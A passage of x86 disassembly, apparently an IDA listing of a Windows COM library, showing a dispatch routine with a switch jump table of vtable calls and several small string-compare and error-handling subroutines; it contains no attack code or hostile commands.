		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56AA8
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56AAB
; ---------------------------------------------------------------------------


loc_69B56AA8:				; CODE XREF: sub_69B56912+18Dj
		mov	ecx, [eax+8]


loc_69B56AAB:				; CODE XREF: sub_69B56912+194j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0CCh]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56AC4:				; CODE XREF: sub_69B56912+1Bj
		sub	eax, 2Eh
		jz	loc_69B56C0E
		dec	eax
		jz	loc_69B56BE2
		dec	eax
		dec	eax
		jz	loc_69B56BB6
		dec	eax
		jz	loc_69B56B8A
		sub	eax, 4
		jz	short loc_69B56B44
		dec	eax
		dec	eax
		jz	short loc_69B56B18
		dec	eax
		dec	eax
		jnz	loc_69B56E8D	; default
		mov	edx, [ebp+arg_10]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+0E8h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56B18:				; CODE XREF: sub_69B56912+1D8j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56B28
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56B2B
; ---------------------------------------------------------------------------


loc_69B56B28:				; CODE XREF: sub_69B56912+20Dj
		mov	ecx, [eax+8]


loc_69B56B2B:				; CODE XREF: sub_69B56912+214j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0E4h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56B44:				; CODE XREF: sub_69B56912+1D4j
		mov	esi, [ebp+arg_8]
		test	byte ptr [esi+31h], 40h
		jz	short loc_69B56B54
		mov	eax, [esi+38h]
		mov	edx, [eax]
		jmp	short loc_69B56B57
; ---------------------------------------------------------------------------


loc_69B56B54:				; CODE XREF: sub_69B56912+239j
		mov	edx, [esi+38h]


loc_69B56B57:				; CODE XREF: sub_69B56912+240j
		test	byte ptr [esi+19h], 40h
		jz	short loc_69B56B64
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		jmp	short loc_69B56B67
; ---------------------------------------------------------------------------


loc_69B56B64:				; CODE XREF: sub_69B56912+249j
		mov	ecx, [esi+20h]


loc_69B56B67:				; CODE XREF: sub_69B56912+250j
		mov	edi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax]
		add	edi, 8
		push	edi
		push	edx
		push	ecx
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ebx+0E0h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56B8A:				; CODE XREF: sub_69B56912+1CBj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56B9A
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56B9D
; ---------------------------------------------------------------------------


loc_69B56B9A:				; CODE XREF: sub_69B56912+27Fj
		mov	ecx, [eax+8]


loc_69B56B9D:				; CODE XREF: sub_69B56912+286j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0DCh]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56BB6:				; CODE XREF: sub_69B56912+1C4j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56BC6
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56BC9
; ---------------------------------------------------------------------------


loc_69B56BC6:				; CODE XREF: sub_69B56912+2ABj
		mov	ecx, [eax+8]


loc_69B56BC9:				; CODE XREF: sub_69B56912+2B2j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0D8h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56BE2:				; CODE XREF: sub_69B56912+1BCj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56BF2
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56BF5
; ---------------------------------------------------------------------------


loc_69B56BF2:				; CODE XREF: sub_69B56912+2D7j
		mov	ecx, [eax+8]


loc_69B56BF5:				; CODE XREF: sub_69B56912+2DEj
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0D4h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56C0E:				; CODE XREF: sub_69B56912+1B5j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+19h], 40h
		jz	short loc_69B56C1E
		mov	ecx, [eax+20h]
		mov	edx, [ecx]
		jmp	short loc_69B56C21
; ---------------------------------------------------------------------------


loc_69B56C1E:				; CODE XREF: sub_69B56912+303j
		mov	edx, [eax+20h]


loc_69B56C21:				; CODE XREF: sub_69B56912+30Aj
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B56C2C
		mov	eax, [eax]


loc_69B56C2C:				; CODE XREF: sub_69B56912+316j
		mov	edi, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ecx]
		add	edi, 8
		push	edi
		push	edx
		push	eax
		push	ecx
		call	dword ptr [esi+0D0h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56C46:				; CODE XREF: sub_69B56912+12j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0F0h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56C5E:				; CODE XREF: sub_69B56912+Cj
		mov	ecx, 0C9h
		cmp	eax, ecx
		jg	loc_69B56E7D
		jz	loc_69B56E65
		add	eax, 0FFFFFFC4h	; switch 11 cases
		cmp	eax, 0Ah
		ja	loc_69B56E8D	; default
		jmp	ds:off_69B56F2C[eax*4] ; switch	jump


loc_69B56C84:				; DATA XREF: .text:off_69B56F2Co
		mov	edx, [ebp+arg_10] ; jumptable 69B56C7D case 60
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0F4h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56C9C:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		cmp	[ebp+arg_C], 2	; jumptable 69B56C7D case 61
		jnz	short loc_69B56CBB
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0F8h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56CBB:				; CODE XREF: sub_69B56912+38Fj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56CCC
		mov	eax, [eax+8]
		mov	ax, [eax]
		jmp	short loc_69B56CD0
; ---------------------------------------------------------------------------


loc_69B56CCC:				; CODE XREF: sub_69B56912+3B0j
		movsx	eax, word ptr [eax+8]


loc_69B56CD0:				; CODE XREF: sub_69B56912+3B8j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+0FCh]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56CE2:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		mov	eax, [ebp+arg_0] ; jumptable 69B56C7D case 62
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+100h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56CF3:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		mov	eax, [ebp+arg_8] ; jumptable 69B56C7D case 63
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56D03
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56D06
; ---------------------------------------------------------------------------


loc_69B56D03:				; CODE XREF: sub_69B56912+3E8j
		mov	ecx, [eax+8]


loc_69B56D06:				; CODE XREF: sub_69B56912+3EFj
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+104h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56D1F:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		mov	esi, [ebp+arg_8] ; jumptable 69B56C7D case 64
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+108h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56D3C:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		cmp	[ebp+arg_C], 2	; jumptable 69B56C7D case 65
		jnz	short loc_69B56D5B
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+10Ch]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56D5B:				; CODE XREF: sub_69B56912+42Fj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56D6C
		mov	eax, [eax+8]
		mov	ax, [eax]
		jmp	short loc_69B56D70
; ---------------------------------------------------------------------------


loc_69B56D6C:				; CODE XREF: sub_69B56912+450j
		movsx	eax, word ptr [eax+8]


loc_69B56D70:				; CODE XREF: sub_69B56912+458j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+110h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56D82:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		cmp	[ebp+arg_C], 2	; jumptable 69B56C7D case 66
		jnz	short loc_69B56DA1
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+114h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56DA1:				; CODE XREF: sub_69B56912+475j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56DB2
		mov	eax, [eax+8]
		mov	ax, [eax]
		jmp	short loc_69B56DB6
; ---------------------------------------------------------------------------


loc_69B56DB2:				; CODE XREF: sub_69B56912+496j
		movsx	eax, word ptr [eax+8]


loc_69B56DB6:				; CODE XREF: sub_69B56912+49Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+118h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56DC8:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		cmp	[ebp+arg_C], 2	; jumptable 69B56C7D case 67
		jnz	short loc_69B56DE7
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+11Ch]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56DE7:				; CODE XREF: sub_69B56912+4BBj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56DF8
		mov	eax, [eax+8]
		mov	ax, [eax]
		jmp	short loc_69B56DFC
; ---------------------------------------------------------------------------


loc_69B56DF8:				; CODE XREF: sub_69B56912+4DCj
		movsx	eax, word ptr [eax+8]


loc_69B56DFC:				; CODE XREF: sub_69B56912+4E4j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+120h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56E0E:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		mov	esi, [ebp+arg_8] ; jumptable 69B56C7D case 68
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+124h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56E2B:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		mov	esi, [ebp+arg_8] ; jumptable 69B56C7D case 69
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+128h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56E48:				; CODE XREF: sub_69B56912+36Bj
					; DATA XREF: .text:off_69B56F2Co
		mov	esi, [ebp+arg_8] ; jumptable 69B56C7D case 70
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+12Ch]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56E65:				; CODE XREF: sub_69B56912+359j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+130h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56E7D:				; CODE XREF: sub_69B56912+353j
		sub	eax, 0CAh
		jz	short loc_69B56EFA
		dec	eax
		jz	short loc_69B56EE5
		dec	eax
		jz	short loc_69B56EB7
		dec	eax
		jz	short loc_69B56E97


loc_69B56E8D:				; CODE XREF: sub_69B56912+4Ej
					; sub_69B56912+110j ...
		mov	eax, 80020003h	; default
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56E97:				; CODE XREF: sub_69B56912+579j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B56EA5
		mov	eax, [eax]


loc_69B56EA5:				; CODE XREF: sub_69B56912+58Fj
		push	[ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+144h]
		jmp	short loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56EB7:				; CODE XREF: sub_69B56912+576j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56EC7
		mov	ecx, [eax+8]
		mov	edx, [ecx]
		jmp	short loc_69B56ECA
; ---------------------------------------------------------------------------


loc_69B56EC7:				; CODE XREF: sub_69B56912+5ACj
		mov	edx, [eax+8]


loc_69B56ECA:				; CODE XREF: sub_69B56912+5B3j
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx]
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [eax+18h]
		movsd
		movsd
		movsd
		push	edx
		push	ecx
		movsd
		call	dword ptr [ebx+140h]
		jmp	short loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56EE5:				; CODE XREF: sub_69B56912+573j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+13Ch]
		jmp	short loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56EFA:				; CODE XREF: sub_69B56912+570j
		cmp	[ebp+arg_C], 2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		jnz	short loc_69B56F12
		push	[ebp+arg_10]
		push	eax
		call	dword ptr [ecx+134h]
		jmp	short loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56F12:				; CODE XREF: sub_69B56912+5F2j
		mov	esi, [ebp+arg_8]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+138h]


loc_69B56F25:				; CODE XREF: sub_69B56912+6Ej
					; sub_69B56912+8Ej ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
sub_69B56912	endp

; ---------------------------------------------------------------------------
off_69B56F2C	dd offset loc_69B56C84	; DATA XREF: sub_69B56912+36Br
		dd offset loc_69B56C9C	; jump table for switch	statement
		dd offset loc_69B56CE2
		dd offset loc_69B56CF3
		dd offset loc_69B56D1F
		dd offset loc_69B56D3C
		dd offset loc_69B56D82
		dd offset loc_69B56DC8
		dd offset loc_69B56E0E
		dd offset loc_69B56E2B
		dd offset loc_69B56E48

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B56F58	proc near		; DATA XREF: .text:69B28E04o

var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B56F70
		mov	eax, 80004005h
		jmp	short locret_69B56FD1
; ---------------------------------------------------------------------------


loc_69B56F70:				; CODE XREF: sub_69B56F58+Fj
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	bl, [ebp+arg_8]
		push	edi
		mov	esi, 409h
		lea	eax, [ebp+arg_4]
		and	ebx, 0FFFFFF01h
		push	ebx
		push	[ebp+arg_C]
		push	esi
		push	21h
		push	offset off_69B996A8
		push	1
		push	eax
		call	sub_69B2CA1A
		mov	edi, eax
		cmp	edi, 80020006h
		jnz	short loc_69B56FC3
		movzx	eax, byte_69B98AD0
		push	ebx
		push	[ebp+arg_C]
		push	esi
		push	eax
		push	offset off_69B986D0
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_69B2CA1A
		mov	edi, eax


loc_69B56FC3:				; CODE XREF: sub_69B56F58+4Aj
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx

locret_69B56FD1:			; CODE XREF: sub_69B56F58+16j
		leave
		retn	10h
sub_69B56F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B56FD5	proc near		; CODE XREF: sub_69B57908+B6p
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		jmp	short loc_69B56FF6
; ---------------------------------------------------------------------------


loc_69B56FDD:				; CODE XREF: sub_69B56FD5+27j
		cmp	word ptr [edi],	0
		jz	short loc_69B56FFE
		movzx	eax, ax
		push	eax
		call	ds:SHLWAPI_38
		cmp	ax, [edi]
		jnz	short loc_69B5700D
		inc	esi
		inc	esi
		inc	edi
		inc	edi


loc_69B56FF6:				; CODE XREF: sub_69B56FD5+6j
		mov	ax, [esi]
		test	ax, ax
		jnz	short loc_69B56FDD


loc_69B56FFE:				; CODE XREF: sub_69B56FD5+Cj
		mov	ax, [esi]
		sub	ax, [edi]
		neg	ax
		sbb	eax, eax
		inc	eax


loc_69B5700A:				; CODE XREF: sub_69B56FD5+3Aj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B5700D:				; CODE XREF: sub_69B56FD5+1Bj
		xor	al, al
		jmp	short loc_69B5700A
sub_69B56FD5	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B57011(LPCWSTR lpString)

sub_69B57011	proc near		; CODE XREF: sub_69B589EC+7Cp
					; sub_69B58ACC+7Cp ...

lpString	= dword	ptr  4

		push	0
		push	[esp+4+lpString] ; lpString
		call	sub_69B1A587
		push	eax
		push	0C00CE22Ch
		push	80004005h
		call	sub_69B2E8CC
		add	esp, 10h
		push	eax
		call	sub_69B2E818
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		retn	4
sub_69B57011	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5704A(VARIANTARG	*pvarg)

sub_69B5704A	proc near		; CODE XREF: sub_69B5911C+76p

pvarg		= dword	ptr  4

		push	dword ptr [ecx+0E4h] ; int
		push	[esp+4+pvarg]	; pvarg
		call	sub_69B8A5D5
		retn	4
sub_69B5704A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5705C	proc near		; CODE XREF: sub_69B57504+5Ap
					; sub_69B5757D+5Cp ...
		push	10h
		push	offset dword_69B570D0
		call	sub_69B19C5C
		xor	edi, edi
		mov	[ebp-4], edi
		push	edi		; int
		push	edi		; int
		push	dword ptr [ebp+0Ch] ; lpString
		push	dword ptr [ebp+8] ; int
		call	sub_69B3E5A2
		mov	esi, eax
		mov	[ebp-1Ch], esi
		cmp	[ebp+10h], edi
		jz	short loc_69B5708F
		push	edi		; int
		push	dword ptr [ebp+10h] ; lpString
		mov	ecx, esi
		call	sub_69B4CD61


loc_69B5708F:				; CODE XREF: sub_69B5705C+26j
		mov	eax, [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-20h], eax
		jmp	short loc_69B570BD
; ---------------------------------------------------------------------------


loc_69B5709F:				; DATA XREF: .text:69B570D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B570A8:				; DATA XREF: .text:69B570D8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B570BD:				; CODE XREF: sub_69B5705C+41j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	14h
sub_69B5705C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B570D0	dd 0FFFFFFFFh			dd offset loc_69B5709F
		dd offset loc_69B570A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B570DC	proc near		; CODE XREF: .text:69B5989Fj
					; .text:69B598B0j ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B570F6
		mov	eax, 80004005h
		jmp	short loc_69B57131
; ---------------------------------------------------------------------------


loc_69B570F6:				; CODE XREF: sub_69B570DC+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_C]
		push	edi
		call	sub_69B1B406
		push	[ebp+arg_8]
		mov	ecx, [esi+38h]
		push	[ebp+arg_4]
		lea	eax, [esi+1Ch]
		push	0
		push	0
		push	eax
		push	esi
		call	sub_69B1C04C
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B57131:				; CODE XREF: sub_69B570DC+18j
		pop	edi
		leave
		retn	0Ch
sub_69B570DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B57136	proc near		; CODE XREF: sub_69B598BC+5j
					; DATA XREF: .text:69B28EB0o
		push	28h
		push	offset dword_69B571E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B57158
		mov	eax, 80004005h
		jmp	short loc_69B571D7
; ---------------------------------------------------------------------------


loc_69B57158:				; CODE XREF: sub_69B57136+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	edi, [ebp+10h]
		cmp	edi, ebx
		jnz	short loc_69B57175
		mov	ebx, 80070057h
		jmp	short loc_69B571C4
; ---------------------------------------------------------------------------


loc_69B57175:				; CODE XREF: sub_69B57136+36j
		mov	[ebp-4], ebx
		mov	ecx, [esi+18h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		cmp	word ptr [ebp+0Ch], 0FFFFh
		setz	dl
		push	edx
		call	dword ptr [eax+3Ch]
		mov	[ebp-34h], eax
		mov	eax, [eax+4Ch]
		mov	[ebp-38h], eax
		mov	ecx, eax
		call	sub_69B48B01
		mov	[edi], eax
		jmp	short loc_69B571C0
; ---------------------------------------------------------------------------


loc_69B571A0:				; DATA XREF: .text:69B571E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B571A9:				; DATA XREF: .text:69B571E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B571C0:				; CODE XREF: sub_69B57136+68j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B571C4:				; CODE XREF: sub_69B57136+3Dj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B571D7:				; CODE XREF: sub_69B57136+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B57136	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B571E0	dd 0FFFFFFFFh			dd offset loc_69B571A0
		dd offset loc_69B571A9

; =============== S U B	R O U T	I N E =======================================



sub_69B571EC	proc near		; DATA XREF: .text:69B28EFCo
		push	2Ch
		push	offset dword_69B572B8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B57211
		mov	eax, 80004005h
		jmp	loc_69B572AC
; ---------------------------------------------------------------------------


loc_69B57211:				; CODE XREF: sub_69B571EC+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	ebx, [ebp+0Ch]
		cmp	ebx, edi
		jnz	short loc_69B5723F
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B572AC
; ---------------------------------------------------------------------------


loc_69B5723F:				; CODE XREF: sub_69B571EC+39j
		mov	[ebx], edi
		mov	[ebp-4], edi
		mov	ecx, [esi+38h]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		push	edi
		push	4
		push	edi
		call	sub_69B49C1F
		mov	[ebp-38h], eax
		cmp	eax, edi
		jz	short loc_69B5726A
		mov	ecx, [eax]
		push	ebx
		push	offset dword_69B25D84
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B57291
; ---------------------------------------------------------------------------


loc_69B5726A:				; CODE XREF: sub_69B571EC+6Fj
		mov	dword ptr [ebp-3Ch], 1
		jmp	short loc_69B57294
; ---------------------------------------------------------------------------


loc_69B57273:				; DATA XREF: .text:69B572BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5727C:				; DATA XREF: .text:69B572C0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B57291:				; CODE XREF: sub_69B571EC+7Cj
		mov	[ebp-3Ch], eax


loc_69B57294:				; CODE XREF: sub_69B571EC+85j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B572AC:				; CODE XREF: sub_69B571EC+20j
					; sub_69B571EC+51j
		call	sub_69B1853C
		retn	8
sub_69B571EC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B572B8	dd 0FFFFFFFFh			dd offset loc_69B57273
		dd offset loc_69B5727C

; =============== S U B	R O U T	I N E =======================================



sub_69B572C4	proc near		; DATA XREF: .text:69B28F00o
		push	24h
		push	offset dword_69B57368
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B572E4
		mov	eax, 80004005h
		jmp	short loc_69B5735E
; ---------------------------------------------------------------------------


loc_69B572E4:				; CODE XREF: sub_69B572C4+17j
		mov	ecx, [ebp+8]
		push	dword ptr [ecx+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	esi, [ebp+0Ch]
		test	esi, esi
		jnz	short loc_69B57301
		mov	esi, 80070057h
		jmp	short loc_69B5734B
; ---------------------------------------------------------------------------


loc_69B57301:				; CODE XREF: sub_69B572C4+34j
		and	dword ptr [ebp-4], 0
		push	1Ch
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-30h], ecx
		test	ecx, ecx
		jz	short loc_69B5731C
		call	sub_69B5A06D
		jmp	short loc_69B5731E
; ---------------------------------------------------------------------------


loc_69B5731C:				; CODE XREF: sub_69B572C4+4Fj
		xor	eax, eax


loc_69B5731E:				; CODE XREF: sub_69B572C4+56j
